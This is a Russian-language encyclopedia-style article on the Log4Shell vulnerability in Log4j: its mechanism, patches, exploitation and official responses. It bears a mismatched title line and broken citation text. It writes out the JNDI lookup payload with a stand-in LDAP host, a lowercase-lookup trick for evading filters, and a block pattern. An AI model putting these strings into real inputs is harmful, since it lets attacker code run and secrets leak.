Феодальное общество (книга)
- 1 year ago
- 0
- 0
Log4Shell ( CVE-2021-44228 ) — это уязвимость нулевого дня в Log4j , популярной среде ведения журналов Java, включающая выполнение произвольного кода . Уязвимость — её существование не было замечено с 2013 года — была раскрыта в частном порядке Apache Software Foundation , проектом которой является Log4j, Чен Чжаоцзюнь из группы безопасности Alibaba Cloud 24 ноября 2021 года и публично раскрыта 9 декабря 2021 года. Apache дал Log4Shell оценку серьезности CVSS 10, наивысшую доступную оценку. Подсчитано, что эксплойт затрагивает сотни миллионов устройств и очень прост в использовании.
Уязвимость использует то, что Log4j разрешает запросы к произвольным серверам LDAP и JNDI , а не проверяет ответы, позволяя злоумышленникам выполнять произвольный код Java на сервере или другом компьютере или передавать конфиденциальную информацию. Список уязвимых программных проектов был опубликован группой безопасности Apache. Затронутые коммерческие службы включают Amazon Web Services , Cloudflare , iCloud , Minecraft: Java Edition , Steam , Tencent QQ и многие другие. По данным Wiz и EY , уязвимость затронула 93 % корпоративных облачных сред.
Эксперты охарактеризовали Log4Shell как самую большую уязвимость за всю историю; LunaSec охарактеризовала его как «проектный сбой катастрофических масштабов», Tenable сказал, что эксплойт был «самой большой и самой критической уязвимостью в истории», Ars Technica назвал его «возможно, самой серьезной уязвимостью за всю историю». и The Washington Post заявили, что описания специалистов по безопасности «граничат с апокалипсисом».
Log4j — это библиотека журналирования с открытым исходным кодом , которая позволяет разработчикам программного обеспечения регистрировать данные в своих приложениях. Эти данные могут включать пользовательский ввод. Он повсеместно используется в приложениях Java, особенно в корпоративном программном обеспечении. Первоначально написанный в 2001 году Чеки Гюльджю, теперь он является частью Apache Logging Services, проекта Apache Software Foundation . Бывший член комиссии по кибербезопасности президента Барака Обамы Том Келлерманн охарактеризовал Apache как «одну из гигантских опор моста, который способствует соединительной ткани между мирами приложений и компьютерной средой».
Интерфейс именования и каталогов Java (JNDI) позволяет выполнять поиск объектов Java во время выполнения программы с учетом пути к их данным. JNDI может использовать несколько интерфейсов каталогов, каждый из которых обеспечивает свою схему поиска файлов. Среди этих интерфейсов — облегченный протокол доступа к каталогам (LDAP), протокол, не связанный с Java который извлекает данные объекта в виде URL-адреса с соответствующего сервера, локального или любого другого в Интернете.
В конфигурации по умолчанию при регистрации строки Log4j 2 выполняет подстановку строк в выражениях вида
${prefix:name}
.
Например,
Text: ${java:version}
можно преобразовать в
Text: Java version 1.7.0_67;
.
Среди распознанных выражений есть
${jndi:<lookup>}
; указав поиск через LDAP, произвольный URL-адрес может быть запрошен и загружен как данные объекта Java.
${jndi:ldap://example.com/file}
загрузит данные с этого URL-адреса при подключении к Интернету. Вводя строку, которая регистрируется, злоумышленник может загрузить и выполнить вредоносный код, размещенный на общедоступном URL-адресе.
Даже если выполнение данных отключено, злоумышленник может получить данные, такие как секретные
переменные среды,
путем размещения их в URL-адресе, в котором они будут заменены и отправлены на сервер злоумышленника.
Помимо LDAP, другие потенциально используемые протоколы поиска JNDI включают его безопасный вариант LDAPS,
Java Remote Method Invocation
(RMI), систему
доменных имен
(DNS) и Internet
Inter-ORB Protocol
(IIOP).
Поскольку
HTTP-
запросы часто регистрируются, распространенным вектором атаки является размещение вредоносной строки в
URL-адресе
HTTP-запроса или в часто регистрируемом
HTTP-заголовке
, таком как
User-Agent
. Ранние меры защиты включали блокировку любых запросов, содержащих потенциально вредоносное содержимое, например
${jndi
.
Наивный поиск можно обойти, запутав запрос: например,
${${lower:j}ndi
будет преобразован в поиск JNDI после выполнения строчной операции над буквой
j
.
Даже если ввод, такой как имя, не регистрируется сразу, он может быть позже записан во время внутренней обработки и его содержимое будет выполнено.
Исправления для этой уязвимости были выпущены 6 декабря 2021 года, за три дня до публикации уязвимости, в Log4j версии 2.15.0-rc1.
Исправление включало ограничение серверов и протоколов, которые могут использоваться для поиска. Исследователи обнаружили связанную ошибку CVE-2021-45046, которая допускает локальное или удаленное выполнение кода в определенных конфигурациях, отличных от настроек по умолчанию, и была исправлена в версии 2.16.0, которая отключила все функции с использованием JNDI и поддержку поиска сообщений.
Для предыдущих версий класс
org.apache.logging.log4j.core.lookup.JndiLookup
необходимо удалить из пути к классам, чтобы уменьшить обе уязвимости.
Ранее рекомендованное исправление для старых версий заключалось в установке для системного свойства
log4j2.formatMsgNoLookups
true
, но это изменение не предотвращает использование CVE-2021-45046.
Более новые версии Java Runtime Environment (JRE) также уменьшают эту уязвимость, блокируя загрузку удаленного кода по умолчанию, хотя в некоторых приложениях все еще существуют другие направления атак. Было опубликовано несколько методов и инструментов, помогающих обнаружить использование уязвимых версий log4j во встроенных пакетах Java.
Эксплойт позволяет хакерам получить контроль над уязвимыми устройствами с помощью Java . Некоторые хакеры используют уязвимость, чтобы использовать возможности устройств жертв; в том числе майнинг криптовалюты , создание ботнетов , рассылка спама, создание бэкдоров и другие незаконные действия, такие как атаки программ- вымогателей. В течение нескольких дней после публикации уязвимости Check Point отслеживала миллионы атак, инициированных хакерами, при этом некоторые исследователи наблюдали скорость более ста атак в минуту, что в конечном итоге привело к более чем 40 % атак. бизнес-сетей, подвергающихся международным атакам.
По словам генерального директора Cloudflare Мэтью Принса, доказательства использования или тестирования эксплойта появились еще 1 декабря, за девять дней до того, как он был публично раскрыт. Согласно кибербезопасности фирмы GreyNoise, несколько IP — адреса были соскобы сайтов для проверки серверов, которые имеют уязвимость. Несколько ботнетов начали сканирование на предмет уязвимости, включая ботнет Muhstik к 10 декабря, а также Mirai , Tsunami и XMRig. Конти был замечен с использованием уязвимости 17 декабря.
Некоторые спонсируемые государством группы в Китае и Иране также использовали эксплойт, согласно Check Point, хотя неизвестно, использовался ли эксплойт Израилем, Россией или США до раскрытия уязвимости. Check Point заявила, что 15 декабря 2021 года хакеры, поддерживаемые Ираном, попытались проникнуть в сети предприятий и правительства Израиля.
В Соединенных Штатах директор Агентства по кибербезопасности и безопасности инфраструктуры (CISA) Джен Истерли описала эксплойт как «один из самых серьезных, если не самый серьезный, который я видел за всю свою карьеру», объяснив, что сотни миллионов устройств были затронуты и рекомендовали поставщикам уделять приоритетное внимание обновлениям программного обеспечения. Гражданские агентства, нанятые правительством США, должны были до 24 декабря 2021 года исправить уязвимости, хотя к тому времени это уже позволило бы получить доступ к сотням тысяч целей.
Канадский центр кибербезопасности (CCCS) призвал организации принять немедленные меры. Налоговое управление Канады временно отключило свои онлайн-сервисы после того, как узнало об эксплойте, в то время как правительство Квебека закрыло почти 4000 своих веб-сайтов в качестве «превентивной меры».
Федеральное управление безопасности Германии ( Bundesamt für Sicherheit in der Informationstechnik) (BSI) определило эксплойт как находящийся на самом высоком уровне угрозы, назвав его «чрезвычайно критической опасной ситуацией» (переведено). Он также сообщил, что несколько атак уже были успешными и что масштабы уязвимости по-прежнему трудно оценить. Национальный центр кибербезопасности Нидерландов (NCSC) начал постоянный список уязвимых приложений.
Министерство промышленности и информационных технологий Китая приостановило работу с Alibaba Cloud в качестве партнера по анализу угроз кибербезопасности на шесть месяцев из-за того, что не сообщило об уязвимости правительству первым.
Исследование, проведенное Wiz и EY показало, что 93 % облачной корпоративной среды были уязвимы для Log4Shell. 7 % уязвимых рабочих нагрузок доступны в Интернете и подвержены широким попыткам эксплуатации. Согласно исследованию, через десять дней после публикации уязвимости (20 декабря 2021 года) только 45 % процентов уязвимых рабочих нагрузок были исправлены в среднем в облачных средах. Облачные данные Amazon, Google и Microsoft были затронуты Log4Shell.
Компания по управлению персоналом и персоналом UKG, одна из крупнейших компаний в отрасли, подверглась атаке программ-вымогателей , затронувшей крупные предприятия. UKG заявила, что у нее нет доказательств использования Log4Shell в инциденте, хотя аналитик Аллан Лиска из компании Recorded Future, занимающейся кибербезопасностью, сказал, что, возможно, существует связь.
Поскольку более крупные компании начали выпускать исправления для эксплойта, риск для малого бизнеса увеличился, поскольку хакеры сосредоточились на более уязвимых целях.
Персональные устройства, такие как Smart TV и камеры видеонаблюдения, подключенные к Интернету, были уязвимы для эксплойта.
По состоянию на 14 декабря 2021 года почти половина всех корпоративных сетей в мире была активно исследована, и в течение суток было создано более 60 вариантов эксплойта. Check Point Software Technologies в подробном анализе описала ситуацию как «настоящию киберпандемию» и охарактеризовала возможность нанесения ущерба как «неисчислимую». В нескольких первоначальных рекомендаций было завышено количество уязвимых пакетов, что приводило к ложным срабатываниям. В частности пакет «log4j api» был отмечен как уязвимый, в то время как в действительности дальнейшие исследования показали, что уязвимым был только основной пакет «log4j-core».
Это было подтверждено как в исходной ветке выпуска , так и внешними исследователями безопасности.
Технологический журнал Wired написал, что, несмотря на предыдущую «шумиху» вокруг многочисленных уязвимостей, «шумиха вокруг уязвимости Log4j… оправдывает себя по целому ряду причин». Журнал объясняет, что вездесущность log4j, уязвимость которой трудно обнаружить по потенциальным целям, и легкость передачи кода на компьютер жертвы создали «сочетание серьёзности, доступности и распространённости, которая потрясла специалистов по безопасности». Wired также схематично представил последовательность использования Log4Shell хакерами: группы занимающиеся майнингом криптовалют первыми начнут эксплуатировать уязвимость, затем торговцы данными продадут «плацдарм» киберпреступникам, которые, наконец, займутся вымоганием, шпионажем и уничтожением данных.
Амит Йоран, генеральный директор Tenable и директор-основатель группы готовности к компьютерным чрезвычайным ситуациям в США , заявил: «[Log4Shell], безусловно, самая большая и критическая уязвимость в истории», отметив, что изощренные атаки начались вскоре после ошибки, заявив: " Мы также уже видим, что он используется для атак программ-вымогателей, что, опять же, должно стать серьезным сигналом тревоги. . . . Мы также видели сообщения о злоумышленниках, использующих Log4Shell для уничтожения систем, даже не пытаясь получить выкуп, — довольно необычное поведение.". Старший исследователь угроз Sophos Шон Галлахер сказал: "Честно говоря, самая большая угроза здесь заключается в том, что люди уже получили доступ и просто пользуются им, и даже если вы устраните проблему, кто-то уже находится в сети . . . Он будет существовать столько же, сколько и Интернет ".
{{
cite news
}}
:
Указан более чем один параметр
|accessdate=
and
|access-date=
(
справка
)
{{
cite news
}}
:
Указан более чем один параметр
|accessdate=
and
|access-date=
(
справка
)